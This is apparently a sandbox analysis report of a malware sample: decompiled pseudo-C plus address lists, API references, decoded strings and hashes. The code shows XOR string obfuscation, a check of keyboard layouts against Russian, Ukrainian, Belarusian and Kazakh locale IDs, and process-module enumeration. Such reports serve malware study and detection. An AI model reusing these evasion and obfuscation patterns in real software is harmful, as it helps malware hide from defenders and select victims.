						_t38 = _t376 + 8; // 0x8
						_t466 =  >=  ? _v76 :  &_v76;
						_t467 = ( >=  ? _v76 :  &_v76) + _t376;
						_v60 = _t38;
						_push(_t467);
						E00410440();
						_t484 =  &(_t484[3]);
						 *((char*)(_t467 + 8)) = 0;
					}
					_t223 =  *0x450ee0; // 0x8000000c
					_v44 = 0x4b426d6d;
					_v40 = 0x5c4b404f;
					_v77 = 0x2e;
					if(_t223 >  *((intOrPtr*)(_t443 + 4))) {
						E0040EEC8(_t223, 0x450ee0);
						_t484 =  &(_t484[1]);
						_t526 =  *0x450ee0 - 0xffffffff;
						if( *0x450ee0 == 0xffffffff) {
							asm("movq xmm0, [ebp-0x20]");
							asm("movq [0x450f24], xmm0");
							 *0x450f2c = _v77;
							E0040F1DA(_t376, _t526, 0x42ce20);
							E0040EE7E(0x450ee0);
							_t484 =  &(_t484[2]);
						}
					}
					_t224 =  *0x450f2c; // 0x0
					if(_t224 != 0) {
						 *0x450f24 =  *0x450f24 ^ 0x0000002e;
						 *0x450f25 =  *0x450f25 ^ 0x0000002e;
						 *0x450f26 =  *0x450f26 ^ 0x0000002e;
						 *0x450f27 =  *0x450f27 ^ 0x0000002e;
						 *0x450f28 =  *0x450f28 ^ 0x0000002e;
						 *0x450f29 =  *0x450f29 ^ 0x0000002e;
						 *0x450f2a =  *0x450f2a ^ 0x0000002e;
						 *0x450f2b =  *0x450f2b ^ 0x0000002e;
						 *0x450f2c = _t224 ^ 0x0000002e;
					}
					_t485 = _t484 - 0x18;
					_t377 = 0x450f24;
					_t431 = _t485;
					_t50 =  &(_t377[1]); // 0x450f25
					_t453 = _t50;
					 *_t431 = 0;
					_t431[4] = 0;
					_t431[5] = 0xf;
					do {
						_t225 =  *_t377;
						_t377 =  &(_t377[1]);
					} while (_t225 != 0);
					E004026C0(_t361, _t431, 0x450f24, _t377 - _t453);
					_t227 = E00404490(_t361,  &_v76, _t431); // executed
					_t486 =  &(_t485[6]);
					_v77 = 0x2e;
					_t228 =  *0x450f84; // 0x8000000d
					_v78 = _t227 != 0;
					if(_t228 >  *((intOrPtr*)(_t443 + 4))) {
						E0040EEC8(_t228, 0x450f84);
						_t486 =  &(_t486[1]);
						_t532 =  *0x450f84 - 0xffffffff;
						if( *0x450f84 == 0xffffffff) {
							asm("movaps xmm0, [0x439d60]");
							asm("movups [0x450e8c], xmm0");
							 *0x450e9c = _v77;
							E0040F1DA( &_v76, _t532, 0x42ce00);
							E0040EE7E(0x450f84);
							_t486 =  &(_t486[2]);
						}
					}
					_t229 =  *0x450e9c; // 0x0
					if(_t229 != 0) {
						asm("movups xmm0, [0x450e8c]");
						asm("movaps xmm1, [0x439d20]");
						asm("pxor xmm1, xmm0");
						 *0x450e9c = _t229 ^ 0x0000002e;
						asm("movups [0x450e8c], xmm1");
					}
					_t487 = _t486 - 0x18;
					_t381 = 0x450e8c;
					_t432 = _t487;
					_t58 = _t381 + 1; // 0x450e8d
					_t454 = _t58;
					 *_t432 = 0;
					_t432[4] = 0;
					_t432[5] = 0xf;
					do {
						_t230 =  *_t381;
						_t381 = _t381 + 1;
					} while (_t230 != 0);
					E004026C0(_t361, _t432, 0x450e8c, _t381 - _t454);
					_t232 = E00404490(_t361,  &_v76, _t432); // executed
					_t488 =  &(_t487[6]);
					_v36 = 0x2e6d;
					_t233 =  *0x450ee4; // 0x8000000e
					_v77 = _t232 != 0;
					if(_t233 >  *((intOrPtr*)(_t443 + 4))) {
						E0040EEC8(_t233, 0x450ee4);
						_t488 =  &(_t488[1]);
						_t537 =  *0x450ee4 - 0xffffffff;
						if( *0x450ee4 == 0xffffffff) {
							asm("movaps xmm0, [0x439d90]");
							asm("movups [0x450f54], xmm0");
							 *0x450f64 = _v36;
							E0040F1DA( &_v76, _t537, 0x42cde0);
							E0040EE7E(0x450ee4);
							_t488 =  &(_t488[2]);
						}
					}
					if( *0x450f65 != 0) {
						asm("movups xmm0, [0x450f54]");
						_t333 = 0x10;
						asm("movaps xmm1, [0x439d20]");
						asm("pxor xmm1, xmm0");
						asm("movups [0x450f54], xmm1");
						do {
							 *(_t333 + 0x450f54) =  *(_t333 + 0x450f54) ^ 0x0000002e;
							_t333 = _t333 + 1;
						} while (_t333 < 0x12);
					}
					_t489 = _t488 - 0x18;
					_t385 = 0x450f54;
					_t433 = _t489;
					_t68 = _t385 + 1; // 0x450f55
					_t455 = _t68;
					 *_t433 = 0;
					_t433[4] = 0;
					_t433[5] = 0xf;
					do {
						_t234 =  *_t385;
						_t385 = _t385 + 1;
					} while (_t234 != 0);
					E004026C0(_t361, _t433, 0x450f54, _t385 - _t455);
					_t236 = E00404490(_t361,  &_v76, _t433); // executed
					_t484 =  &(_t489[6]);
					if(_t236 == 0 || _v78 == 0 || _v77 == 0) {
						_t452 = 0;
						__eflags = 0;
					} else {
						_t452 = 1;
					}
					_t434 = _v56;
					if(_t434 < 0x10) {
						L48:
						 *[fs:0x0] = _v24;
						_pop(_t444);
						_pop(_t456);
						return E0040EB3F(_t452, _t361, _v32 ^ _t470, _t434, _t444, _t456);
					} else {
						_t393 = _v76;
						_t434 = _t434 + 1;
						_t239 = _t393;
						if(_t434 < 0x1000) {
							L47:
							_push(_t434);
							E0040ED7F(_t393);
							goto L48;
						} else {
							_t393 =  *(_t393 - 4);
							_t434 = _t434 + 0x23;
							if(_t239 - _t393 + 0xfffffffc > 0x1f) {
								goto L50;
							} else {
								goto L47;
							}
						}
					}
				} else {
					_t426 = _v108;
					_t441 = _t429 + 1;
					_t350 = _t426;
					if(_t441 < 0x1000) {
						L13:
						_push(_t441);
						E0040ED7F(_t426);
						_t484 =  &(_t484[2]);
						goto L14;
					} else {
						_t393 =  *(_t426 - 4);
						_t434 = _t441 + 0x23;
						if(_t350 - _t393 + 0xfffffffc > 0x1f) {
							E004134A7(_t361, _t434, __eflags);
							L50:
							E004134A7(_t361, _t434, __eflags);
							asm("int3");
							asm("int3");
							asm("int3");
							asm("int3");
							asm("int3");
							asm("int3");
							asm("int3");
							asm("int3");
							asm("int3");
							asm("int3");
							asm("int3");
							asm("int3");
							_push(_t361);
							_t363 = _t484;
							_t495 = (_t484 - 0x00000008 & 0xfffffff8) + 4;
							_push(_t470);
							_v128 = _t363[1];
							_t473 = _t495;
							_push(0xffffffff);
							_push(0x42c4f2);
							_push( *[fs:0x0]);
							_push(_t363);
							_t496 = _t495 - 0x630;
							_t245 =  *0x43d054; // 0x298e9dc2
							_t246 = _t245 ^ _t473;
							_v152 = _t246;
							_push(_t452);
							_push(_t443);
							_push(_t246);
							 *[fs:0x0] =  &_v144;
							_t457 = _t393;
							_v1688 = _t457;
							_v1728 = _t457;
							asm("xorps xmm0, xmm0");
							_v1692 = 0;
							asm("movq [esi], xmm0");
							 *(_t457 + 8) = 0;
							 *_t457 = 0;
							 *(_t457 + 4) = 0;
							 *(_t457 + 8) = 0;
							_v136 = 0;
							_v1692 = 1;
							_t249 = GetKeyboardLayoutList(0x400,  &_v1684);
							_t445 = 0;
							_v1688 = _t249;
							__eflags = _t249;
							if(_t249 <= 0) {
								L63:
								 *[fs:0x0] = _v36;
								_pop(_t446);
								_pop(_t458);
								__eflags = _v44 ^ _t473;
								return E0040EB3F(_t457, _t363, _v44 ^ _t473, _t434, _t446, _t458);
							} else {
								do {
									_t252 =  *(_t473 + _t445 * 4 - 0x610) & 0x0000ffff;
									_v1588 = _t252;
									GetLocaleInfoA(_t252, 2,  &_v552, 0x1f4); // executed
									_t254 =  &_v552;
									_v1616 = 0;
									_v1600 = 0;
									_t435 = _t254 + 1;
									_v1596 = 0xf;
									_v1616 = 0;
									do {
										_t399 =  *_t254;
										_t254 = _t254 + 1;
										__eflags = _t399;
									} while (_t399 != 0);
									E004026C0(_t363,  &_v1616,  &_v552, _t254 - _t435);
									_t401 = _v1588;
									_v1592 = _t401;
									_v28 = 1;
									_t258 =  *(_t457 + 4);
									__eflags = _t258 -  *(_t457 + 8);
									if(_t258 ==  *(_t457 + 8)) {
										_push( &_v1616);
										_push(_t258);
										E0040CBC0(_t363, _t457, _t445, _t457);
										_t434 = _v1596;
									} else {
										asm("movups xmm0, [ebp-0x638]");
										_t434 = 0xf;
										_v1616 = 0;
										asm("movups [eax], xmm0");
										asm("movq xmm0, [ebp-0x628]");
										asm("movq [eax+0x10], xmm0");
										 *(_t258 + 0x18) = _t401;
										 *(_t457 + 4) =  *(_t457 + 4) + 0x1c;
									}
									_v28 = 0;
									__eflags = _t434 - 0x10;
									if(_t434 < 0x10) {
										goto L62;
									} else {
										_t404 = _v1616;
										_t434 = _t434 + 1;
										_t260 = _t404;
										__eflags = _t434 - 0x1000;
										if(_t434 < 0x1000) {
											L61:
											_push(_t434);
											E0040ED7F(_t404);
											_t496 = _t496 + 8;
											goto L62;
										} else {
											_t404 =  *(_t404 - 4);
											_t434 = _t434 + 0x23;
											__eflags = _t260 - _t404 + 0xfffffffc - 0x1f;
											if(__eflags > 0) {
												E004134A7(_t363, _t434, __eflags);
												asm("int3");
												_push(_t473);
												_t475 = _t496;
												_push(0xffffffff);
												_push(0x42c535);
												_push( *[fs:0x0]);
												_t499 = _t496 - 0x5c;
												_t266 =  *0x43d054; // 0x298e9dc2
												_t267 = _t266 ^ _t475;
												_v1760 = _t267;
												_push(_t363);
												_push(_t457);
												_push(_t445);
												_push(_t267);
												 *[fs:0x0] =  &_v1756;
												_t365 = 0;
												_t405 =  &_v1780;
												asm("xorps xmm0, xmm0");
												_v1816 = 0;
												asm("movq [ebp-0x24], xmm0");
												_v1772 = 0;
												L51(); // executed
												_v1748 = 0;
												_t269 = _v1776;
												_t447 = _v1780;
												_v1820 = _t269;
												__eflags = _t447 - _t269;
												if(_t447 == _t269) {
													L92:
													_t366 = 0;
													__eflags = 0;
													goto L93;
												} else {
													_v52 = 0x5d5d5b7c;
													_v48 = 0x2e404f47;
													_t464 =  *( *[fs:0x2c]);
													_v108 = _t464;
													do {
														E0040BB10(_t365,  &_v92, _t434, _t447, _t447);
														_v68 =  *((intOrPtr*)(_t447 + 0x18));
														_v32 = 1;
														_t302 =  *0x450fe0; // 0x8000000f
														__eflags = _t302 -  *((intOrPtr*)(_t464 + 4));
														if(_t302 >  *((intOrPtr*)(_t464 + 4))) {
															E0040EEC8(_t302, 0x450fe0);
															_t499 = _t499 + 4;
															__eflags =  *0x450fe0 - 0xffffffff;
															if(__eflags == 0) {
																_t140 =  &_v52; // 0x5d5d5b7c
																 *0x450d20 =  *_t140;
																_t141 =  &_v48; // 0x2e404f47
																 *0x450d24 =  *_t141;
																E0040F1DA( &_v92, __eflags, 0x42ce60);
																E0040EE7E(0x450fe0);
																_t499 = _t499 + 8;
															}
														}
														_t303 =  *0x450d27; // 0x0
														__eflags = _t303;
														if(_t303 != 0) {
															 *0x450d20 =  *0x450d20 ^ 0x0000002e;
															 *0x450d21 =  *0x450d21 ^ 0x0000002e;
															 *0x450d22 =  *0x450d22 ^ 0x0000002e;
															 *0x450d23 =  *0x450d23 ^ 0x0000002e;
															 *0x450d24 =  *0x450d24 ^ 0x0000002e;
															 *0x450d25 =  *0x450d25 ^ 0x0000002e;
															 *0x450d26 =  *0x450d26 ^ 0x0000002e;
															_t327 = _t303 ^ 0x0000002e;
															__eflags = _t327;
															 *0x450d27 = _t327;
														}
														_t304 = 0x450d20;
														_v132 = 0;
														_v116 = 0;
														_v112 = 0xf;
														_t145 =  &(_t304[1]); // 0x450d21
														_t440 = _t145;
														do {
															_t422 =  *_t304;
															_t304 =  &(_t304[1]);
															__eflags = _t422;
														} while (_t422 != 0);
														E004026C0(_t365,  &_v132, 0x450d20, _t304 - _t440);
														_t457 = _v92;
														_t434 = _v76;
														__eflags = _v112 - 0x10;
														_v100 = _t365 | 0x00000001;
														_t366 = _v132;
														_t308 =  >=  ? _t366 :  &_v132;
														__eflags = _v72 - 0x10;
														_t405 =  >=  ? _t457 :  &_v92;
														_t309 = E004028A0(_t405, _t434, _t405,  >=  ? _t366 :  &_v132, _v116);
														_t499 = _t499 + 0xc;
														__eflags = _t309 - 0xffffffff;
														if(_t309 != 0xffffffff) {
															L76:
															_v93 = 1;
														} else {
															__eflags = _v72 - 0x10;
															_t434 = _v76;
															_t405 =  >=  ? _t457 :  &_v92;
															_t326 = E004028A0(_t405, _t434, _t405, 0x439a6c, 7);
															_t499 = _t499 + 0xc;
															_v93 = 0;
															__eflags = _t326 - 0xffffffff;
															if(_t326 != 0xffffffff) {
																goto L76;
															}
														}
														_v100 = _v100 & 0xfffffffe;
														_t310 = _v112;
														__eflags = _t310 - 0x10;
														if(_t310 < 0x10) {
															L81:
															__eflags = _v93;
															if(_v93 != 0) {
																L97:
																_t311 = _v72;
																__eflags = _t311 - 0x10;
																if(_t311 < 0x10) {
																	L101:
																	_t447 = _v64;
																	_t366 = 1;
																	L93:
																	__eflags = _t447;
																	if(_t447 == 0) {
																		L103:
																		 *[fs:0x0] = _v40;
																		_pop(_t448);
																		_pop(_t459);
																		_pop(_t367);
																		__eflags = _v44 ^ _t475;
																		return E0040EB3F(_t366, _t367, _v44 ^ _t475, _t434, _t448, _t459);
																	} else {
																		_push(_t405);
																		E0040D300(_t447, _v60, _t447, _t457);
																		_t460 = _v64;
																		_t501 = _t499 + 4;
																		_t434 = (0x92492493 * (_v56 - _t460) >> 0x20) + _v56 - _t460 >> 4;
																		_t278 = _t460;
																		_t415 = ((_t434 >> 0x1f) + _t434) * 8 - (_t434 >> 0x1f) + _t434 << 2;
																		__eflags = _t415 - 0x1000;
																		if(_t415 < 0x1000) {
																			L102:
																			_push(_t415);
																			E0040ED7F(_t460);
																			goto L103;
																		} else {
																			_t460 =  *((intOrPtr*)(_t460 - 4));
																			_t415 = _t415 + 0x23;
																			__eflags = _t278 - _t460 + 0xfffffffc - 0x1f;
																			if(__eflags > 0) {
																				E004134A7(_t366, _t434, __eflags);
																				goto L105;
																			} else {
																				goto L102;
																			}
																		}
																	}
																} else {
																	_t187 = _t311 + 1; // 0x11
																	_t405 = _t187;
																	_t312 = _t457;
																	__eflags = _t405 - 0x1000;
																	if(_t405 < 0x1000) {
																		L100:
																		_push(_t405);
																		E0040ED7F(_t457);
																		_t499 = _t499 + 8;
																		goto L101;
																	} else {
																		_t460 =  *((intOrPtr*)(_t457 - 4));
																		_t415 = _t405 + 0x23;
																		__eflags = _t312 - _t460 + 0xfffffffc - 0x1f;
																		if(__eflags > 0) {
																			goto L105;
																		} else {
																			goto L100;
																		}
																	}
																}
															} else {
																_t316 = _v68;
																__eflags = _t316 - 0x419;
																if(_t316 == 0x419) {
																	goto L97;
																} else {
																	__eflags = _t316 - 0x422;
																	if(_t316 == 0x422) {
																		goto L97;
																	} else {
																		__eflags = _t316 - 0x423;
																		if(_t316 == 0x423) {
																			goto L97;
																		} else {
																			__eflags = _t316 - 0x43f;
																			if(_t316 == 0x43f) {
																				goto L97;
																			} else {
																				_v32 = 0;
																				_t317 = _v72;
																				__eflags = _t317 - 0x10;
																				if(_t317 < 0x10) {
																					goto L90;
																				} else {
																					_t171 = _t317 + 1; // 0x11
																					_t405 = _t171;
																					_t318 = _t457;
																					__eflags = _t405 - 0x1000;
																					if(_t405 < 0x1000) {
																						L89:
																						_push(_t405);
																						E0040ED7F(_t457);
																						_t499 = _t499 + 8;
																						goto L90;
																					} else {
																						_t460 =  *((intOrPtr*)(_t457 - 4));
																						_t415 = _t405 + 0x23;
																						__eflags = _t318 - _t460 + 0xfffffffc - 0x1f;
																						if(__eflags > 0) {
																							goto L105;
																						} else {
																							goto L89;
																						}
																					}
																				}
																			}
																		}
																	}
																}
															}
														} else {
															_t164 = _t310 + 1; // 0x11
															_t405 = _t164;
															_t322 = _t366;
															__eflags = _t405 - 0x1000;
															if(_t405 < 0x1000) {
																L80:
																_push(_t405);
																E0040ED7F(_t366);
																_t457 = _v92;
																_t499 = _t499 + 8;
																goto L81;
															} else {
																_t366 =  *(_t366 - 4);
																_t415 = _t405 + 0x23;
																__eflags = _t322 - _t366 + 0xfffffffc - 0x1f;
																if(__eflags > 0) {
																	L105:
																	E004134A7(_t366, _t434, __eflags);
																	asm("int3");
																	asm("int3");
																	_push(_t475);
																	_t477 = _t501;
																	_t284 =  *0x43d054; // 0x298e9dc2
																	_v1872 = _t284 ^ _t477;
																	_push(_t460);
																	_push(_t447);
																	_t449 = _t415;
																	_v2140 = _t449;
																	_v2140 = _t449;
																	_t286 =  *0x439a7c; // 0x3e
																	asm("movq xmm0, [0x439a74]");
																	_v2124 = _t286;
																	asm("movq [ebp-0x108], xmm0");
																	E00410A80(_t449,  &_v2122, 0, 0xfa);
																	_t462 = OpenProcess(0x410, 0, _t434);
																	__eflags = _t462;
																	if(_t462 != 0) {
																		_t297 =  &_v304;
																		__imp__K32EnumProcessModules(_t462, _t297, 4,  &_v300); // executed
																		__eflags = _t297;
																		if(_t297 != 0) {
																			__imp__K32GetModuleBaseNameA(_t462, _v304,  &_v296, 0x104); // executed
																		}
																	}
																	FindCloseChangeNotification(_t462); // executed
																	_t416 =  &_v296;
																	 *_t449 = 0;
																	_t449[4] = 0;
																	_t439 = _t416 + 1;
																	_t449[5] = 0xf;
																	 *_t449 = 0;
																	do {
																		_t291 =  *_t416;
																		_t416 = _t416 + 1;
																		__eflags = _t291;
																	} while (_t291 != 0);
																	E004026C0(_t366, _t449,  &_v296, _t416 - _t439);
																	_pop(_t450);
																	__eflags = _v36 ^ _t477;
																	_pop(_t463);
																	return E0040EB3F(_t449, _t366, _v36 ^ _t477, _t439, _t450, _t463);
																} else {
																	goto L80;
																}
															}
														}
														goto L112;
														L90:
														_t365 = _v100;
														_t447 = _t447 + 0x1c;
														_t464 = _v108;
														__eflags = _t447 - _v104;
													} while (_t447 != _v104);
													_t447 = _v64;
													goto L92;
												}
											} else {
												goto L61;
											}
										}
									}
									goto L112;
									L62:
									_t445 = _t445 + 1;
									__eflags = _t445 - _v1580;
								} while (_t445 < _v1580);
								goto L63;
							}
						} else {
							goto L13;
						}
					}
				}
				L112:
			}

0x00404840
0x00404840
0x00404841
0x00404849
0x00404850
0x00404854
0x00404856
0x00404858
0x00404863
0x00404864
0x00404865
0x00404868
0x0040486d
0x0040486f
0x00404872
0x00404874
0x00404878
0x00404884
0x0040488b
0x00404892
0x00404899
0x0040489b
0x004048a6
0x004048ad
0x004048b2
0x004048b5
0x004048bc
0x004048be
0x004048cb
0x004048d3
0x004048d8
0x004048e5
0x004048ea
0x004048ea
0x004048bc
0x004048f4
0x004048f6
0x00404900
0x00404900
0x00404907
0x00404908
0x00404900
0x0040490d
0x00404912
0x00404919
0x00404920
0x00404927
0x0040492b
0x0040492b
0x00404930
0x00404930
0x00404932
0x00404933
0x00404942
0x00404947
0x00404955
0x0040495a
0x0040495f
0x00404961
0x00404968
0x0040496a
0x00404971
0x00404974
0x0040497b
0x0040497f
0x00404982
0x00404982
0x00404984
0x00404985
0x00404990
0x00404995
0x00404999
0x0040499f
0x004049cd
0x004049d2
0x004049d7
0x004049de
0x004049e5
0x004049e9
0x004049eb
0x004049f3
0x00404a16
0x00404a1a
0x00404a1d
0x00404a20
0x00404a22
0x004049f5
0x004049fb
0x004049fe
0x00404a02
0x00404a04
0x00404a07
0x00404a08
0x00404a0d
0x00404a10
0x00404a10
0x00404a27
0x00404a2c
0x00404a33
0x00404a3a
0x00404a44
0x00404a4b
0x00404a50
0x00404a53
0x00404a5a
0x00404a5c
0x00404a69
0x00404a71
0x00404a76
0x00404a83
0x00404a88
0x00404a88
0x00404a5a
0x00404a8b
0x00404a92
0x00404a94
0x00404a9b
0x00404aa2
0x00404aa9
0x00404ab0
0x00404ab7
0x00404abe
0x00404ac5
0x00404ace
0x00404ace
0x00404ad3
0x00404ad6
0x00404adb
0x00404add
0x00404add
0x00404ae0
0x00404ae6
0x00404aed
0x00404af4
0x00404af4
0x00404af6
0x00404af7
0x00404b05
0x00404b0d
0x00404b12
0x00404b15
0x00404b1b
0x00404b20
0x00404b2a
0x00404b31
0x00404b36
0x00404b39
0x00404b40
0x00404b42
0x00404b51
0x00404b58
0x00404b5d
0x00404b6a
0x00404b6f
0x00404b6f
0x00404b40
0x00404b72
0x00404b79
0x00404b7b
0x00404b84
0x00404b8b
0x00404b8f
0x00404b94
0x00404b94
0x00404b9b
0x00404b9e
0x00404ba3
0x00404ba5
0x00404ba5
0x00404ba8
0x00404bae
0x00404bb5
0x00404bc0
0x00404bc0
0x00404bc2
0x00404bc3
0x00404bd1
0x00404bd9
0x00404bde
0x00404be1
0x00404be9
0x00404bee
0x00404bf8
0x00404bff
0x00404c04
0x00404c07
0x00404c0e
0x00404c10
0x00404c20
0x00404c27
0x00404c2d
0x00404c3a
0x00404c3f
0x00404c3f
0x00404c0e
0x00404c49
0x00404c4b
0x00404c52
0x00404c57
0x00404c5e
0x00404c62
0x00404c70
0x00404c70
0x00404c77
0x00404c78
0x00404c70
0x00404c7d
0x00404c80
0x00404c85
0x00404c87
0x00404c87
0x00404c8a
0x00404c90
0x00404c97
0x00404ca0
0x00404ca0
0x00404ca2
0x00404ca3
0x00404cb1
0x00404cb9
0x00404cbe
0x00404cc3
0x00404cd8
0x00404cd8
0x00404cd1
0x00404cd1
0x00404cd1
0x00404cda
0x00404ce0
0x00404d0a
0x00404d0f
0x00404d17
0x00404d18
0x00404d29
0x00404ce2
0x00404ce2
0x00404ce5
0x00404ce6
0x00404cee
0x00404d00
0x00404d00
0x00404d02
0x00000000
0x00404cf0
0x00404cf0
0x00404cf3
0x00404cfe
0x00000000
0x00000000
0x00000000
0x00000000
0x00404cfe
0x00404cee
0x004049a1
0x004049a1
0x004049a4
0x004049a5
0x004049ad
0x004049c3
0x004049c3
0x004049c5
0x004049ca
0x00000000
0x004049af
0x004049af
0x004049b2
0x004049bd
0x00404d2a
0x00404d2f
0x00404d2f
0x00404d34
0x00404d35
0x00404d36
0x00404d37
0x00404d38
0x00404d39
0x00404d3a
0x00404d3b
0x00404d3c
0x00404d3d
0x00404d3e
0x00404d3f
0x00404d40
0x00404d41
0x00404d49
0x00404d4c
0x00404d50
0x00404d54
0x00404d56
0x00404d58
0x00404d63
0x00404d64
0x00404d65
0x00404d6b
0x00404d70
0x00404d72
0x00404d75
0x00404d76
0x00404d77
0x00404d7b
0x00404d81
0x00404d83
0x00404d89
0x00404d8f
0x00404d92
0x00404d9c
0x00404da0
0x00404da7
0x00404dad
0x00404db4
0x00404dc1
0x00404dce
0x00404dd8
0x00404dde
0x00404de0
0x00404de6
0x00404de8
0x00404efa
0x00404eff
0x00404f07
0x00404f08
0x00404f0c
0x00404f19
0x00404df0
0x00404df0
0x00404df0
0x00404e07
0x00404e0d
0x00404e13
0x00404e19
0x00404e23
0x00404e2d
0x00404e30
0x00404e3a
0x00404e41
0x00404e41
0x00404e43
0x00404e44
0x00404e44
0x00404e58
0x00404e5d
0x00404e63
0x00404e69
0x00404e70
0x00404e73
0x00404e76
0x00404eaa
0x00404eab
0x00404eae
0x00404eb3
0x00404e78
0x00404e78
0x00404e7f
0x00404e84
0x00404e8b
0x00404e8e
0x00404e96
0x00404e9b
0x00404e9e
0x00404e9e
0x00404eb9
0x00404ebd
0x00404ec0
0x00000000
0x00404ec2
0x00404ec2
0x00404ec8
0x00404ec9
0x00404ecb
0x00404ed1
0x00404ee3
0x00404ee3
0x00404ee5
0x00404eea
0x00000000
0x00404ed3
0x00404ed3
0x00404ed6
0x00404ede
0x00404ee1
0x00404f1a
0x00404f1f
0x00404f20
0x00404f21
0x00404f23
0x00404f25
0x00404f30
0x00404f31
0x00404f34
0x00404f39
0x00404f3b
0x00404f3e
0x00404f3f
0x00404f40
0x00404f41
0x00404f45
0x00404f4b
0x00404f4d
0x00404f50
0x00404f53
0x00404f56
0x00404f5b
0x00404f5e
0x00404f63
0x00404f66
0x00404f69
0x00404f6c
0x00404f6f
0x00404f71
0x00405185
0x00405185
0x00405185
0x00000000
0x00404f77
0x00404f7d
0x00404f84
0x00404f8b
0x00404f8d
0x00404f90
0x00404f94
0x00404f9c
0x00404f9f
0x00404fa3
0x00404fa8
0x00404fae
0x00404fb5
0x00404fba
0x00404fbd
0x00404fc4
0x00404fc6
0x00404fc9
0x00404fce
0x00404fd6
0x00404fdb
0x00404fe8
0x00404fed
0x00404fed
0x00404fc4
0x00404ff0
0x00404ff5
0x00404ff7
0x00404ff9
0x00405000
0x00405007
0x0040500e
0x00405015
0x0040501c
0x00405023
0x0040502a
0x0040502a
0x0040502c
0x0040502c
0x00405031
0x00405036
0x0040503d
0x00405044
0x0040504b
0x0040504b
0x00405050
0x00405050
0x00405052
0x00405053
0x00405053
0x00405062
0x0040506a
0x00405070
0x00405079
0x0040507d
0x00405080
0x00405083
0x00405086
0x0040508b
0x0040508f
0x00405094
0x00405097
0x0040509a
0x004050c2
0x004050c2
0x0040509c
0x0040509c
0x004050a3
0x004050a8
0x004050b1
0x004050b6
0x004050b9
0x004050bd
0x004050c0
0x00000000
0x00000000
0x004050c0
0x004050c6
0x004050ca
0x004050cd
0x004050d0
0x00405100
0x00405100
0x00405104
0x004051e0
0x004051e0
0x004051e3
0x004051e6
0x0040520f
0x0040520f
0x00405212
0x00405187
0x00405187
0x00405189
0x00405226
0x0040522b
0x00405233
0x00405234
0x00405235
0x00405239
0x00405243
0x0040518f
0x00405192
0x00405195
0x004051a2
0x004051a5
0x004051ae
0x004051c1
0x004051c3
0x004051c6
0x004051cc
0x0040521c
0x0040521c
0x0040521e
0x00000000
0x004051ce
0x004051ce
0x004051d1
0x004051d9
0x004051dc
0x00405244
0x00000000
0x004051de
0x00000000
0x004051de
0x004051dc
0x004051cc
0x004051e8
0x004051e8
0x004051e8
0x004051eb
0x004051ed
0x004051f3
0x00405205
0x00405205
0x00405207
0x0040520c
0x00000000
0x004051f5
0x004051f5
0x004051f8
0x00405200
0x00405203
0x00000000
0x00000000
0x00000000
0x00000000
0x00405203
0x004051f3
0x0040510a
0x0040510a
0x0040510d
0x00405112
0x00000000
0x00405118
0x00405118
0x0040511d
0x00000000
0x00405123
0x00405123
0x00405128
0x00000000
0x0040512e
0x0040512e
0x00405133
0x00000000
0x00405139
0x00405139
0x0040513d
0x00405140
0x00405143
0x00000000
0x00405145
0x00405145
0x00405145
0x00405148
0x0040514a
0x00405150
0x00405166
0x00405166
0x00405168
0x0040516d
0x00000000
0x00405152
0x00405152
0x00405155
0x0040515d
0x00405160
0x00000000
0x00000000
0x00000000
0x00000000
0x00405160
0x00405150
0x00405143
0x00405133
0x00405128
0x0040511d
0x00405112
0x004050d2
0x004050d2
0x004050d2
0x004050d5
0x004050d7
0x004050dd
0x004050f3
0x004050f3
0x004050f5
0x004050fa
0x004050fd
0x00000000
0x004050df
0x004050df
0x004050e2
0x004050ea
0x004050ed
0x00405249
0x00405249
0x0040524e
0x0040524f
0x00405250
0x00405251
0x00405259
0x00405260
0x00405263
0x00405264
0x00405265
0x00405269
0x0040526f
0x00405275
0x0040527b
0x00405288
0x00405298
0x004052a0
0x004052b6
0x004052b8
0x004052ba
0x004052c5
0x004052cd
0x004052d3
0x004052d5
0x004052ea
0x004052ea
0x004052d5
0x004052f1
0x004052f7
0x004052fd
0x00405303
0x0040530a
0x0040530d
0x00405314
0x00405317
0x00405317
0x00405319
0x0040531a
0x0040531a
0x0040532a
0x00405334
0x00405335
0x00405337
0x00405340
0x00000000
0x00000000
0x00000000
0x004050ed
0x004050dd
0x00000000
0x00405170
0x00405170
0x00405173
0x00405176
0x00405179
0x00405179
0x00405182
0x00000000
0x00405182
0x00000000
0x00000000
0x00000000
0x00404ee1
0x00404ed1
0x00000000
0x00404eed
0x00404eed
0x00404eee
0x00404eee
0x00000000
0x00404df0
0x00000000
0x00000000
0x00000000
0x004049bd
0x004049ad
0x00000000

APIs

Part of subcall function 0040EEC8: EnterCriticalSection.KERNEL32(004504FC,00450D61,?,?,004063FC,00450F40,00450F44,00450F45), ref: 0040EED3
Part of subcall function 0040EEC8: LeaveCriticalSection.KERNEL32(004504FC,?,?,004063FC,00450F40,00450F44,00450F45), ref: 0040EF10

__Init_thread_footer.LIBCMT ref: 004048E5

Part of subcall function 0040EE7E: EnterCriticalSection.KERNEL32(004504FC,?,?,0040643C,00450F40,?,?,00450F44,00450F45), ref: 0040EE88
Part of subcall function 0040EE7E: LeaveCriticalSection.KERNEL32(004504FC,?,?,0040643C,00450F40,?,?,00450F44,00450F45), ref: 0040EEBB
Part of subcall function 0040EE7E: RtlWakeAllConditionVariable.NTDLL ref: 0040EF32

__Init_thread_footer.LIBCMT ref: 00404A83
__Init_thread_footer.LIBCMT ref: 00404B6A
__Init_thread_footer.LIBCMT ref: 00404C3A

Strings

O@K\, xrefs: 00404A33
mmBK, xrefs: 00404A2C
\Desktop, xrefs: 004049EB
{}k|, xrefs: 00404884

Memory Dump Source

Source File: 00000002.00000002.442855707.0000000000400000.00000040.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.442855707.0000000000452000.00000040.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_Rec528.jbxd

Yara matches

Similarity

API ID: CriticalInit_thread_footerSection$EnterLeave$ConditionVariableWake
String ID: O@K\$\Desktop$mmBK${}k|
API String ID: 4264893276-1521651405
Opcode ID: c35064b14b9dffba6d1e4db0a2574021912a52bb2d95535e1f81fe600cbb8f5b
Instruction ID: 59b664f8313e46badde9086281928930e0b8f00e87856fe9bc78e8ec5598def6
Opcode Fuzzy Hash: c35064b14b9dffba6d1e4db0a2574021912a52bb2d95535e1f81fe600cbb8f5b
Instruction Fuzzy Hash: 6AD147B59003848AEB14DF78EC067AE7B70AF46308F14467AD8407B2D3D7B8A949C79D

Uniqueness

Uniqueness Score: -1.00%

